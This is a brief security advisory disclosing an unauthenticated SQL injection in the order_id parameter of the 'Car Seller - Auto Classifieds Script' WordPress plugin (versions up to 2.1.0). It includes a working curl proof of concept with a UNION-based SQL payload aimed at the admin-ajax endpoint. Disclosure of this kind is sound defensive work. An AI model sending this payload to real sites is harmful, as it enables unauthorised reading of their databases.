Car Seller - Auto Classifieds Script <= 2.1.0 - Unauthenticated SQL Injection

The request_list_request AJAX call of the plugin, available to both authenticated and unauthenticated users, does not sanitise, validate or escape the order_id POST parameter before using it in a SQL statement, leading to a SQL Injection issue.

PoC

curl ‘https://example.com/wp-admin/admin-ajax.php’ \ --data-raw ‘action=request_list_request&order;_id=-1662 UNION ALL SELECT NULL,NULL,current_user(),current_user(),current_user(),NULL,current_user(),current_user(),NULL-- -’ \ --compressed \ --insecure